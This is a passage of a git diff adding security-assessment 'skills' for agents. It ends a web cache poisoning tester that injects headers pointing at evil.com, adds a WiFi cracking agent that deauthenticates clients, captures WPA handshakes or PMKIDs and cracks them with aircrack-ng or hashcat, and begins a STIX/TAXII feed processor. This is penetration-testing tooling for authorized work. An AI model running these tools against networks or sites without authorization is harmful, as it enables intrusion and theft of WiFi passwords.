range(3): + try: + resp = requests.get(test_url, timeout=10, verify=False) + results.append({ + "request": i + 1, + "x_cache": resp.headers.get("X-Cache", ""), + "cf_cache": resp.headers.get("CF-Cache-Status", ""), + "age": resp.headers.get("Age", ""), + "status": resp.status_code, + }) + except RequestException: + pass + time.sleep(1) + return {"test_url": test_url, "results": results} + + +def test_unkeyed_headers(target_url): + """Test for unkeyed headers that are reflected in cached responses.""" + cb = generate_cache_buster() + base_url = f"{target_url}?{cb}=1" + unkeyed_headers = [ + ("X-Forwarded-Host", "evil.com"), + ("X-Forwarded-Scheme", "http"), + ("X-Forwarded-Proto", "http"), + ("X-Original-URL", "/admin"), + ("X-Rewrite-URL", "/admin"), + ("X-Host", "evil.com"), + ("X-Forwarded-Server", "evil.com"), + ("X-Forwarded-Port", "1337"), + ("X-Original-Host", "evil.com"), + ("Transfer-Encoding", "chunked"), + ] + findings = [] + for header_name, header_value in unkeyed_headers: + cb = generate_cache_buster() + test_url = f"{target_url}?{cb}=1" + try: + resp = requests.get( + test_url, headers={header_name: header_value}, + timeout=10, verify=False + ) + if header_value in resp.text: + poisoned_resp = requests.get(test_url, timeout=10, verify=False) + cached_poison = header_value in poisoned_resp.text + findings.append({ + "header": header_name, + "value": header_value, + "reflected": True, + "cached_poison": cached_poison, + "risk": "CRITICAL" if cached_poison else "HIGH", + }) + except RequestException: + pass + return findings + + +def test_cache_key_normalization(target_url): + """Test cache key normalization issues.""" + cb = generate_cache_buster() + tests = [] + variations = [ + (f"{target_url}?{cb}=1", "Original"), + (f"{target_url}?{cb}=1&utm_source=test", "Extra parameter"), + (f"{target_url}?{cb}=1#fragment", "Fragment"), + (f"{target_url}/?{cb}=1", "Trailing slash"), + ] + for url, desc in variations: + try: + resp = requests.get(url, timeout=10, verify=False) + tests.append({ + "variation": desc, "url": url, + "status": resp.status_code, + "x_cache": resp.headers.get("X-Cache", ""), + "content_length": len(resp.content), + }) + except RequestException: + pass + return tests + + +def test_cache_deception(target_url): + """Test for web cache deception vulnerabilities.""" + cb = generate_cache_buster() + deception_paths = [ + "/account/profile.css", + "/api/user.js", + "/settings.png", + "/dashboard/nonexistent.css", + ] + findings = [] + for path in deception_paths: + test_url = f"{target_url.rstrip('/')}{path}?{cb}=1" + try: + resp = requests.get(test_url, timeout=10, verify=False) + cache_status = resp.headers.get("X-Cache", resp.headers.get("CF-Cache-Status", "")) + if "HIT" in cache_status.upper() or resp.headers.get("Age"): + findings.append({ + "path": path, + "cached": True, + "status": resp.status_code, + "content_type": resp.headers.get("Content-Type", ""), + "risk": "HIGH", + }) + except RequestException: + pass + return findings + + +def run_assessment(target_url): + """Full web cache poisoning assessment.""" + report = { + "target": target_url, + "cache_layer": identify_cache_layer(target_url), + "cache_behavior": test_cache_hit_miss(target_url), + "unkeyed_headers": test_unkeyed_headers(target_url), + "key_normalization": test_cache_key_normalization(target_url), + "cache_deception": test_cache_deception(target_url), + } + critical_count = sum( + 1 for f in report["unkeyed_headers"] if f.get("risk") == "CRITICAL" + ) + high_count = sum( + 1 for f in report["unkeyed_headers"] if f.get("risk") == "HIGH" + ) + len(report["cache_deception"]) + report["summary"] = { + "cdn": report["cache_layer"].get("cdn_detected", "Unknown"), + "critical_findings": critical_count, + "high_findings": high_count, + "poisonable_headers": [f["header"] for f in report["unkeyed_headers"] if f.get("cached_poison")], + } + return report + + +def print_report(report): + print("Web Cache Poisoning Assessment") + print("=" * 50) + print(f"Target: {report['target']}") + print(f"CDN: {report['summary']['cdn']}") + print(f"Critical: {report['summary']['critical_findings']}") + print(f"High: {report['summary']['high_findings']}") + if report["summary"]["poisonable_headers"]: + print(f"\nPoisonable Headers:") + for h in report["summary"]["poisonable_headers"]: + print(f" - {h}") + print(f"\nUnkeyed Header Tests:") + for f in report["unkeyed_headers"]: + status = "POISON" if f.get("cached_poison") else ("REFLECTED" if f.get("reflected") else "SAFE") + print(f" {f['header']}: {status} [{f.get('risk', 'N/A')}]") + if report["cache_deception"]: + print(f"\nCache Deception:") + for f in report["cache_deception"]: + print(f" {f['path']}: CACHED ({f['content_type']})") + + +if __name__ == "__main__": + target = sys.argv[1] if len(sys.argv) > 1 else "https://example.com" + result = run_assessment(target) + print_report(result) diff --git a/skills/performing-wifi-password-cracking-with-aircrack/LICENSE b/skills/performing-wifi-password-cracking-with-aircrack/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-wifi-password-cracking-with-aircrack/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-wifi-password-cracking-with-aircrack/references/api-reference.md b/skills/performing-wifi-password-cracking-with-aircrack/references/api-reference.md new file mode 100644 index 00000000..90b60477 --- /dev/null +++ b/skills/performing-wifi-password-cracking-with-aircrack/references/api-reference.md @@ -0,0 +1,73 @@ +# API Reference: WiFi Password Cracking with Aircrack Agent + +## Overview + +Automates WPA/WPA2 wireless security assessment: monitor mode management, network scanning, handshake/PMKID capture, and offline cracking via aircrack-ng and hashcat subprocess wrappers. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| subprocess | stdlib | Aircrack-ng suite and hashcat execution | + +## External Tools Required + +| Tool | Purpose | +|------|---------| +| airmon-ng | Monitor mode enable/disable | +| airodump-ng | Wireless network scanning and capture | +| aireplay-ng | Deauthentication for handshake capture | +| aircrack-ng | WPA dictionary attack (CPU) | +| hashcat | WPA cracking with GPU acceleration | +| hcxdumptool | PMKID capture (optional) | +| hcxpcapngtool | PMKID hash extraction (optional) | + +## Core Functions + +### `enable_monitor_mode(iface)` +Kills interfering processes and enables monitor mode. +- **Returns**: `dict` with `monitor_interface` + +### `scan_networks(mon_iface, duration, output_prefix)` +Scans for nearby wireless networks, parses CSV output. +- **Returns**: `list[dict]` - BSSID, channel, encryption, ESSID, power + +### `capture_handshake(mon_iface, bssid, channel, output_prefix, timeout)` +Captures 4-way WPA handshake using targeted deauthentication. +- **Returns**: `dict` with `capture_file`, `handshake_captured` + +### `try_pmkid_capture(mon_iface, bssid, channel, timeout)` +Attempts PMKID-based capture (no client needed). +- **Returns**: `dict` with `pmkid_captured`, `hash_file` + +### `crack_with_aircrack(cap_file, wordlist)` +CPU-based dictionary attack using aircrack-ng. +- **Default wordlist**: `/usr/share/wordlists/rockyou.txt` +- **Returns**: `dict` with `cracked`, `key` + +### `crack_with_hashcat(hash_file, wordlist, hash_mode)` +GPU-accelerated cracking. Mode 22000 for WPA-PBKDF2-PMKID+EAPOL. +- **Returns**: `dict` with `cracked`, `result` + +### `disable_monitor_mode(mon_iface)` +Restores managed mode and restarts NetworkManager. + +## Hashcat Modes + +| Mode | Hash Type | +|------|-----------| +| 22000 | WPA-PBKDF2-PMKID+EAPOL | +| 22001 | WPA-PMK-PMKID+EAPOL | +| 2500 | WPA-EAPOL-PBKDF2 (legacy) | + +## Requirements + +- Root/sudo privileges +- Monitor mode capable wireless adapter +- Written authorization for target networks + +## Usage + +```bash +sudo python agent.py wlan0 +``` diff --git a/skills/performing-wifi-password-cracking-with-aircrack/scripts/agent.py b/skills/performing-wifi-password-cracking-with-aircrack/scripts/agent.py new file mode 100644 index 00000000..6a3a94c3 --- /dev/null +++ b/skills/performing-wifi-password-cracking-with-aircrack/scripts/agent.py @@ -0,0 +1,206 @@ +#!/usr/bin/env python3 +"""WiFi password cracking assessment agent using aircrack-ng subprocess wrappers.""" + +import subprocess +import sys +import os +import re +import time +import signal +from datetime import datetime + + +def check_tools(): + """Verify required tools are installed.""" + tools = {} + for tool in ["airmon-ng", "airodump-ng", "aireplay-ng", "aircrack-ng", "hashcat"]: + result = subprocess.run( + ["which", tool], capture_output=True, text=True + ) + tools[tool] = result.stdout.strip() if result.returncode == 0 else None + return tools + + +def list_interfaces(): + """List wireless interfaces.""" + result = subprocess.run( + ["iw", "dev"], capture_output=True, text=True + ) + interfaces = re.findall(r"Interface\s+(\S+)", result.stdout) + return interfaces + + +def enable_monitor_mode(iface="wlan0"): + """Enable monitor mode on wireless interface.""" + subprocess.run(["airmon-ng", "check", "kill"], capture_output=True) + result = subprocess.run( + ["airmon-ng", "start", iface], capture_output=True, text=True + ) + mon_match = re.search(r"monitor mode .* enabled on (\S+)", result.stdout) + mon_iface = mon_match.group(1) if mon_match else f"{iface}mon" + return {"monitor_interface": mon_iface, "output": result.stdout.strip()} + + +def scan_networks(mon_iface="wlan0mon", duration=15, output_prefix="/tmp/scan"): + """Scan for nearby wireless networks.""" + proc = subprocess.Popen( + ["airodump-ng", mon_iface, "-w", output_prefix, "--output-format", "csv"], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(duration) + proc.send_signal(signal.SIGINT) + proc.wait() + csv_file = f"{output_prefix}-01.csv" + networks = [] + if os.path.exists(csv_file): + with open(csv_file, "r", errors="ignore") as f: + lines = f.readlines() + in_ap_section = True + for line in lines[2:]: + if not line.strip() or "Station MAC" in line: + in_ap_section = False + continue + if not in_ap_section: + continue + fields = [f.strip() for f in line.split(",")] + if len(fields) >= 14: + bssid = fields[0] + channel = fields[3] + encryption = fields[5] + essid = fields[13] + power = fields[8] + if bssid and len(bssid) == 17: + networks.append({ + "bssid": bssid, "channel": channel, + "encryption": encryption, "essid": essid, + "power": power, + }) + return networks + + +def capture_handshake(mon_iface, bssid, channel, output_prefix="/tmp/handshake", + timeout=120): + """Capture WPA handshake from target network.""" + proc = subprocess.Popen( + ["airodump-ng", "-c", str(channel), "--bssid", bssid, + "-w", output_prefix, mon_iface], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(5) + subprocess.run( + ["aireplay-ng", "-0", "5", "-a", bssid, mon_iface], + capture_output=True, timeout=30 + ) + time.sleep(timeout) + proc.send_signal(signal.SIGINT) + proc.wait() + cap_file = f"{output_prefix}-01.cap" + handshake_captured = False + if os.path.exists(cap_file): + check = subprocess.run( + ["aircrack-ng", cap_file], capture_output=True, text=True, timeout=10 + ) + if "1 handshake" in check.stdout: + handshake_captured = True + return { + "capture_file": cap_file, + "handshake_captured": handshake_captured, + "bssid": bssid, + "channel": channel, + } + + +def try_pmkid_capture(mon_iface, bssid, channel, timeout=30): + """Attempt PMKID capture using hcxdumptool.""" + output_file = "/tmp/pmkid.pcapng" + try: + proc = subprocess.Popen( + ["hcxdumptool", "-i", mon_iface, "-o", output_file, + "--enable_status=1", "--filtermode=2", + f"--filterlist_ap={bssid}"], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(timeout) + proc.send_signal(signal.SIGINT) + proc.wait() + hash_file = "/tmp/pmkid_hash.txt" + subprocess.run( + ["hcxpcapngtool", "-o", hash_file, output_file], + capture_output=True + ) + if os.path.exists(hash_file) and os.path.getsize(hash_file) > 0: + return {"pmkid_captured": True, "hash_file": hash_file} + except FileNotFoundError: + pass + return {"pmkid_captured": False} + + +def crack_with_aircrack(cap_file, wordlist="/usr/share/wordlists/rockyou.txt"): + """Crack WPA handshake using aircrack-ng with wordlist.""" + if not os.path.exists(wordlist): + return {"error": f"Wordlist not found: {wordlist}"} + result = subprocess.run( + ["aircrack-ng", cap_file, "-w", wordlist], + capture_output=True, text=True, timeout=3600 + ) + key_match = re.search(r"KEY FOUND!\s*\[\s*(.+?)\s*\]", result.stdout) + if key_match: + return {"cracked": True, "key": key_match.group(1), "tool": "aircrack-ng"} + return {"cracked": False, "tool": "aircrack-ng"} + + +def crack_with_hashcat(hash_file, wordlist="/usr/share/wordlists/rockyou.txt", + hash_mode=22000): + """Crack WPA hash using hashcat with GPU acceleration.""" + if not os.path.exists(wordlist): + return {"error": f"Wordlist not found: {wordlist}"} + try: + result = subprocess.run( + ["hashcat", "-m", str(hash_mode), hash_file, wordlist, + "--force", "-o", "/tmp/hashcat_cracked.txt"], + capture_output=True, text=True, timeout=7200 + ) + cracked_file = "/tmp/hashcat_cracked.txt" + if os.path.exists(cracked_file) and os.path.getsize(cracked_file) > 0: + with open(cracked_file) as f: + return {"cracked": True, "result": f.read().strip(), "tool": "hashcat"} + except (FileNotFoundError, subprocess.TimeoutExpired): + pass + return {"cracked": False, "tool": "hashcat"} + + +def disable_monitor_mode(mon_iface="wlan0mon"): + """Disable monitor mode and restore managed mode.""" + subprocess.run(["airmon-ng", "stop", mon_iface], capture_output=True) + subprocess.run(["systemctl", "restart", "NetworkManager"], capture_output=True) + return {"restored": True} + + +def print_report(networks, handshake, crack_result): + print("WiFi Security Assessment Report") + print("=" * 50) + print(f"Date: {datetime.now().isoformat()}") + print(f"\nNetworks Discovered: {len(networks)}") + for n in networks[:10]: + print(f" {n['essid']:25s} {n['bssid']} ch:{n['channel']:>3s} {n['encryption']}") + print(f"\nHandshake Capture: {'SUCCESS' if handshake.get('handshake_captured') else 'FAILED'}") + print(f" BSSID: {handshake.get('bssid')}") + print(f" File: {handshake.get('capture_file')}") + if crack_result: + if crack_result.get("cracked"): + print(f"\nPassword Cracked: YES") + print(f" Key: {crack_result.get('key', crack_result.get('result', 'N/A'))}") + print(f" Tool: {crack_result['tool']}") + print(f" Risk: CRITICAL - Weak passphrase") + else: + print(f"\nPassword Cracked: NO (passphrase resists dictionary attack)") + + +if __name__ == "__main__": + iface = sys.argv[1] if len(sys.argv) > 1 else "wlan0" + tools = check_tools() + missing = [t for t, p in tools.items() if not p] + if missing: + print(f"Missing tools: {', '.join(missing)}") + sys.exit(1) + print(f"Starting WiFi assessment on {iface}...") diff --git a/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/LICENSE b/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-wireless-network-penetration-test/LICENSE b/skills/performing-wireless-network-penetration-test/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-wireless-network-penetration-test/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-wireless-security-assessment-with-kismet/LICENSE b/skills/performing-wireless-security-assessment-with-kismet/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-wireless-security-assessment-with-kismet/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-yara-rule-development-for-detection/LICENSE b/skills/performing-yara-rule-development-for-detection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-yara-rule-development-for-detection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/prioritizing-vulnerabilities-with-cvss-scoring/LICENSE b/skills/prioritizing-vulnerabilities-with-cvss-scoring/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/prioritizing-vulnerabilities-with-cvss-scoring/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/processing-stix-taxii-feeds/LICENSE b/skills/processing-stix-taxii-feeds/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/processing-stix-taxii-feeds/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/processing-stix-taxii-feeds/references/api-reference.md b/skills/processing-stix-taxii-feeds/references/api-reference.md new file mode 100644 index 00000000..68d73296 --- /dev/null +++ b/skills/processing-stix-taxii-feeds/references/api-reference.md @@ -0,0 +1,60 @@ +# API Reference: STIX/TAXII Feed Processing Agent + +## Overview + +Discovers TAXII 2.1 servers, fetches STIX 2.1 bundles with pagination, parses and validates objects by type, extracts IOCs from indicator patterns, and builds relationship graphs. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| taxii2-client | >= 2.3 | TAXII 2.1 server discovery and collection fetching | +| stix2 | >= 3.0 | STIX 2.1 object parsing and validation | + +## Core Functions + +### `discover_server(taxii_url, user, password)` +Discovers TAXII server API roots and their collections. +- **Returns**: `dict` with `api_roots` containing collection metadata + +### `fetch_collection(taxii_url, collection_id, user, password, added_after, limit)` +Fetches all STIX objects from a collection with pagination via `as_pages`. +- **Parameters**: `added_after` (str) - ISO timestamp for incremental fetch +- **Returns**: `dict` with `total_objects` and `objects` list + +### `parse_stix_bundle(bundle_data)` +Parses and categorizes STIX objects: indicators, malware, threat-actors, attack-patterns, campaigns, relationships, identities. +- **Returns**: `dict` with `categories` and `parse_errors` + +### `extract_iocs(parsed_bundle)` +Extracts actionable IOCs from STIX indicator patterns using regex. +- **IOC types**: IPv4, IPv6, domain, URL, MD5, SHA-1, SHA-256, email +- **Returns**: `dict[str, list[str]]` - deduplicated IOC lists + +### `build_relationship_graph(parsed_bundle)` +Maps STIX relationship objects into a graph of source -> [{relationship, target}]. +- **Returns**: `dict[str, list[dict]]` + +## STIX Object Types Handled + +| Type | Fields Extracted | +|------|-----------------| +| indicator | id, name, pattern, pattern_type, valid_from, labels | +| malware | id, name, is_family, malware_types | +| threat-actor | id, name, threat_actor_types, aliases | +| attack-pattern | id, name, external_references (ATT&CK IDs) | +| campaign | id, name, first_seen | +| relationship | id, relationship_type, source_ref, target_ref | + +## Environment Variables + +| Variable | Required | Description | +|----------|----------|-------------| +| `TAXII_USER` | No | TAXII server username | +| `TAXII_PASSWORD` | No | TAXII server password | + +## Usage + +```bash +python agent.py https://cti.example.com/taxii/ +``` diff --git a/skills/processing-stix-taxii-feeds/scripts/agent.py b/skills/processing-stix-taxii-feeds/scripts/agent.py new file mode 100644 index 00000000..da4f318a --- /dev/null +++ b/skills/processing-stix-taxii-feeds/scripts/agent.py @@ -0,0 +1,214 @@ +#!/usr/bin/env python3 +"""STIX/TAXII threat intelligence feed processor using taxii2-client and stix2.""" + +import json +import sys +from datetime import datetime, timedelta + +try: + from taxii2client.v21 import Server, Collection, as_pages + from stix2 import parse as stix_parse, Bundle, Indicator, Malware, ThreatActor + from stix2 import AttackPattern, Relationship, Identity, Campaign + from stix2.exceptions import InvalidValueError +except ImportError: + print("Install: pip install taxii2-client stix2") + sys.exit(1) + + +def discover_server(taxii_url, user=None, password=None): + """Discover TAXII server API roots and collections.""" + kwargs = {} + if user and password: + kwargs["user"] = user + kwargs["password"] = password + server = Server(taxii_url, **kwargs) + roots = [] + for api_root in server.api_roots: + collections = [] + for coll in api_root.collections: + collections.append({ + "id": coll.id, + "title": coll.title, + "can_read": coll.can_read, + "can_write": coll.can_write, + "media_types": getattr(coll, "media_types", []), + }) + roots.append({ + "title": api_root.title, + "url": api_root.url, + "collections": collections, + }) + return {"server": taxii_url, "api_roots": roots} + + +def fetch_collection(taxii_url, collection_id, user=None, password=None, + added_after=None, limit=100): + """Fetch STIX objects from a TAXII collection with pagination.""" + kwargs = {} + if user and password: + kwargs["user"] = user + kwargs["password"] = password + server = Server(taxii_url, **kwargs) + collection = None + for api_root in server.api_roots: + for coll in api_root.collections: + if coll.id == collection_id: + collection = coll + break + if not collection: + return {"error": f"Collection {collection_id} not found"} + fetch_kwargs = {} + if added_after: + fetch_kwargs["added_after"] = added_after + objects = [] + for bundle in as_pages(collection.get_objects, per_request=limit, **fetch_kwargs): + if "objects" in bundle: + objects.extend(bundle["objects"]) + return { + "collection_id": collection_id, + "total_objects": len(objects), + "objects": objects, + } + + +def parse_stix_bundle(bundle_data): + """Parse and validate a STIX 2.1 bundle, categorizing objects by type.""" + if isinstance(bundle_data, str): + bundle_data = json.loads(bundle_data) + categories = { + "indicators": [], "malware": [], "threat_actors": [], + "attack_patterns": [], "campaigns": [], "relationships": [], + "identities": [], "other": [], + } + errors = [] + for obj in bundle_data.get("objects", []): + obj_type = obj.get("type", "unknown") + try: + parsed = stix_parse(obj, allow_custom=True) + if obj_type == "indicator": + categories["indicators"].append({ + "id": parsed.id, + "name": getattr(parsed, "name", ""), + "pattern": parsed.pattern, + "pattern_type": parsed.pattern_type, + "valid_from": str(parsed.valid_from), + "labels": getattr(parsed, "labels", []), + }) + elif obj_type == "malware": + categories["malware"].append({ + "id": parsed.id, + "name": parsed.name, + "is_family": parsed.is_family, + "malware_types": getattr(parsed, "malware_types", []), + }) + elif obj_type == "threat-actor": + categories["threat_actors"].append({ + "id": parsed.id, + "name": parsed.name, + "threat_actor_types": getattr(parsed, "threat_actor_types", []), + "aliases": getattr(parsed, "aliases", []), + }) + elif obj_type == "attack-pattern": + categories["attack_patterns"].append({ + "id": parsed.id, + "name": parsed.name, + "external_references": [ + {"source": r.get("source_name"), "id": r.get("external_id")} + for r in getattr(parsed, "external_references", []) + if isinstance(r, dict) + ], + }) + elif obj_type == "campaign": + categories["campaigns"].append({ + "id": parsed.id, + "name": parsed.name, + "first_seen": str(getattr(parsed, "first_seen", "")), + }) + elif obj_type == "relationship": + categories["relationships"].append({ + "id": parsed.id, + "type": parsed.relationship_type, + "source": parsed.source_ref, + "target": parsed.target_ref, + }) + elif obj_type == "identity": + categories["identities"].append({ + "id": parsed.id, + "name": parsed.name, + }) + else: + categories["other"].append({"id": obj.get("id"), "type": obj_type}) + except (InvalidValueError, Exception) as e: + errors.append({"object_id": obj.get("id"), "error": str(e)}) + return {"categories": categories, "parse_errors": errors} + + +def extract_iocs(parsed_bundle): + """Extract actionable IOCs from parsed STIX indicators.""" + iocs = {"ipv4": [], "ipv6": [], "domain": [], "url": [], "hash_md5": [], + "hash_sha1": [], "hash_sha256": [], "email": []} + for indicator in parsed_bundle["categories"]["indicators"]: + pattern = indicator.get("pattern", "") + import re + ipv4 = re.findall(r"ipv4-addr:value\s*=\s*'([^']+)'", pattern) + iocs["ipv4"].extend(ipv4) + domains = re.findall(r"domain-name:value\s*=\s*'([^']+)'", pattern) + iocs["domain"].extend(domains) + urls = re.findall(r"url:value\s*=\s*'([^']+)'", pattern) + iocs["url"].extend(urls) + md5 = re.findall(r"MD5\s*=\s*'([a-fA-F0-9]{32})'", pattern) + iocs["hash_md5"].extend(md5) + sha256 = re.findall(r"SHA-256\s*=\s*'([a-fA-F0-9]{64})'", pattern) + iocs["hash_sha256"].extend(sha256) + for key in iocs: + iocs[key] = list(set(iocs[key])) + return iocs + + +def build_relationship_graph(parsed_bundle): + """Map relationships between STIX objects.""" + graph = {} + all_objects = {} + for cat_name, objects in parsed_bundle["categories"].items(): + for obj in objects: + if "id" in obj: + all_objects[obj["id"]] = {"type": cat_name, "name": obj.get("name", obj["id"])} + for rel in parsed_bundle["categories"]["relationships"]: + src = rel["source"] + tgt = rel["target"] + src_name = all_objects.get(src, {}).get("name", src) + tgt_name = all_objects.get(tgt, {}).get("name", tgt) + graph.setdefault(src_name, []).append({ + "relationship": rel["type"], "target": tgt_name, + }) + return graph + + +def print_report(parsed, iocs): + print("STIX/TAXII Feed Processing Report") + 